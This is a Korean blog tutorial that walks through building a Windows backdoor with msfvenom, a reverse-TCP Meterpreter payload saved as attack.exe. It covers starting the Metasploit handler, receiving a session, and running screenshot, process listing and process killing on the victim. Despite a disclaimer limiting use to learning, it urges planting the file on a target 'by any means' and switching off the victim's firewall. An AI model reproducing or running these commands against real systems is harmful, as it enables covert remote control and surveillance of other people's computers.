본 글에서 다루는 내용은 학습용 또는 자신의 서버 보안 점검을 위해서만 사용해야 한다.
허락 없이 타인의 PC에 설치하는 것은 엄연한 불법으로 처벌받을 수 있다..
백도어란 무엇인가?
정상적인 인증 절차를 우회해 상대방의 시스템에 접근하는 것을 말한다.
더 쉽게 말하자면 상대방의 허락을 받지 않고 몰래 그 사람의 컴퓨터를 다루는 것이다.
침투가 성공하면 상대방이 타이핑하는 모든 내용은 물론 무슨 작업을 하는지 실시간으로 모니터 내용을 확인할 수도 있다.
만일 캠이 달린 컴퓨터라면 캠을 조작할 수도 있으며, 마이크가 달린 컴퓨터나 모바일 기기라면 실시간으로 나누는 대화도 들을 수 있다.
무시무시한 기능이지만 칼리 리눅스에서는 단 한 줄의 명령어로 백도어 프로그램을 생성할 수 있다.
실습 환경
공격 : Kali Linux 2022
대상 : Windows 11 Home
실습환경 : Macbook Pro 2021 M1pro
가상머신 : Vmware fusion
생성 방법
악성 코드 생성을 위해서 메타스플로잇(Metasploit)을 사용한다.
메타스플로잇은 운영체제의 보안 취약점을 찾기 위한 가상 침투 테스트용 프레임워크다. 다만 위력이 강력하기 때문에 해킹에도 사용할 수 있다. 하지만 실제 해킹은 엄연한 불법이므로 우리는 가상 테스트에만 사용하도록 하자.
프로그램을 생성하는 것은 어렵지 않다.
다만 해커가 발전하는 만큼 기업의 보안 기술도 발전했다. 지금 생성하는 악성코드는 윈도우에 기본 설치된 방화벽을 뚫지 못한다. 악성 코드를 시스템에 올리는 순간 바로 삭제되어 버린다. 따라서 연습을 위해서는 먼저 윈도우의 방화벽을 끄자.
1. 악성코드 제작
칼리 리눅스에서 악성코드를 제작한다. 코드는 단 한 줄이다.
msfvenom -p 페이로드형식 LHOST=수신받을IP주소 LPORT=수신받을포트번호 -f 파일확장자 > 파일명
페이로드(payload)는 침투 성공 후 공격자가 원하는 행위를 수행하도록 작성한 소스 코드를 말한다.
침투하려는 OS에 따라 페이로드 옵션 입력 방식이 바뀐다.
일단 쉘에 코드를 입력해 보자.
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.35.2 LPORT=4000 -f exe > attack.exe
명령어를 하나씩 해석하자면
windows/meterpreter/reverse_tcp 윈도우 공격용 파일 생성
LHOST= 수신받을 공격자의 아이피를 입력. 공격 대상의 정보가 이 아이피를 통해 들어온다.
LPORT= 수신받을 포트 번호를 입력.
-f exe > attack.exe exe형식의 파일을 생성한다. 파일 이름은 자유롭게 지정한다. 지금은 attack.exe로 지정했다.
페이로드 생성에 성공하면 아래와 같은 문구가 나타난다.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
원하는 대로 생성되었는지 확인해 보자.
root@kali:~# ls
attack.exe Documents embedded-browser-no-sandbox.json Music Public Videos
Desktop Downloads kali-out Pictures Templates
조금 전에 만든 attack.exe파일이 있는 것을 볼 수 있다.
2. 배포
attack.exe 파일을 수단과 방법을 가리지 말고 공격 대상의 컴퓨터에 넣도록 하자.
다만 공격 대상의 방화벽이 켜져 있다면 자동으로 삭제된다.
해커의 길은 멀고 험난하다. 지금은 연습이기 때문에 윈도우 pc의 방화벽을 끄고 실습하자.
악성코드는 생성보다 배포가 더욱 어렵다.
3. 대기
이제 공격 대상이 페이로드를 실행할 때까지 기다려야 한다.
칼리에서 msfconsole을 입력하여 Metasploit을 실행한다.
root@kali:~# msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.35.2(파일을 만들 때 설정한 IP주소 입력)
LHOST => 192.168.35.2
msf6 exploit(multi/handler) > set LPORT 4000(파일을 만들 때 설정한 포트번호 입력)
LPORT => 4000
4. 공격 시작
공격 대상이 파일을 실행하면 칼리 리눅스에 신호가 온다.
[*] Sending stage (175686 bytes) to 192.168.35.215
[*] Meterpreter session 3 opened (192.168.35.2:4000 -> 192.168.35.215:50591) at 2024-01-08 09:23:23 -0500
meterpreter >
셸에 ?를 입력하면 사용할 수 있는 커맨드가 나온다.
커맨드 종류는 너무 많기 때문에 지금은 몇 가지만 해 보도록 하자.
screenshot을 입력한다.
meterpreter > screenshot
Screenshot saved to: /root/QpkeahpP.jpeg


meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
92 4 Registry
372 4 smss.exe
400 728 svchost.exe
452 728 svchost.exe
516 492 csrss.exe
588 492 wininit.exe
612 580 csrss.exe
676 580 winlogon.exe
724 676 dwm.exe
728 588 services.exe
756 588 lsass.exe
8852 3536 steamwebhelper.exe x64 1 LIKEAT7993\amate C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe
8864 9032 steam.exe x86 1 LIKEAT7993\amate C:\Program Files (x86)\Steam\steam.exe
9032 728 svchost.exe
PID로 프로그램을 종료하려면 kill pid를 입력하면 된다. 지금 실행하고 있는 steam.exe를 종료해 보자.
meterpreter > kill 8864
Killing: 8864
다시 한 번 ps를 입력하면 깔끔하게 종료된 것을 확인할 수 있다.
메타스플로잇의 사용법은 상당히 방대하므로 다음에 천천히 정리하도록 하겠다.
지금 예제에서는 윈도우용 악성코드를 생성했지만
메타트플로잇을 활용하면 리눅스, 안드로이드, ios용 악성코드 제작도 가능하다.
'모의 해킹' 카테고리의 다른 글
패킷 스니핑 세 번째_ARP Spooping 공격 (0) | 2024.05.30 |
---|---|
패킷 스니핑 두 번째 - dsniff 사용하기 (0) | 2024.05.29 |
패킷 스니핑 첫 번째 - TCPDump 사용하기 (0) | 2024.05.28 |
패킷 스니핑 공격의 기초와 준비 (0) | 2024.05.24 |
칼리 리눅스에서 DHCP 스푸핑(Spooping) 공격 실행하기 (0) | 2024.05.21 |